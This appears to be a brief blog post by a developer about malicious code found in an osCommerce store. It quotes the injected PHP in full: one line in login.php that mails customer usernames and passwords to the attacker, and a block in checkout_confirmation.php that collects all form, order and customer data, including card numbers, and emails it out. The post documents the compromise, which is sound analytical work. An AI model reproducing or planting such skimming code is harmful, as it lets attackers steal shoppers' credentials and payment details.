File injection – login.php and checkout_confirmation.php

Here’s a couple of little code snippets that I found on an osC store I was working on

login.php at line 23

if (isset($HTTP_GET_VARS['action']) && ($HTTP_GET_VARS['action'] == 'process')) {
 $email_address = tep_db_prepare_input($HTTP_POST_VARS['email_address']);
 $password = tep_db_prepare_input($HTTP_POST_VARS['password']);
 @mail("XXXXXXX@gmail.com","www.XXXXXXXX.com ","username : $email_address \n password : $password");

The last line above was added in by our old friend the hacker and simple emails a customer’s username and password to his throwaway email address at Googlemail.

Then in the file checkout_confirmation.php at around line 55 he’s also added in this:

$msgz = "";
if (!isset($_SERVER)) { $_SERVER  = &$HTTP_SERVER_VARS; }
foreach ($_POST as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($_GET as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->info as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->customer as $key => $value) { $msgz.=$key." => ".$value."\r\n"; }
foreach ($order->customer['country'] as $key => $value) { $msgz.="country-".$key." => ".$value."\r\n"; }
$msgz .= $_SERVER['HTTP_REFERER']."\r\n".$_SERVER['SCRIPT_FILENAME'];
if(preg_match('/[0-9]{12,19}|paypal/i',$msgz)) {
@mail('XXXXX@gmail.com','setoran',$msgz);
} else {
@mail('YYYYYYY@gmail.com','setoran',$msgz);
}

This baby catches all the information being passed from the checkout_confirmation.php page to the checkout_process.php file and emails it to one or other of his email addresses.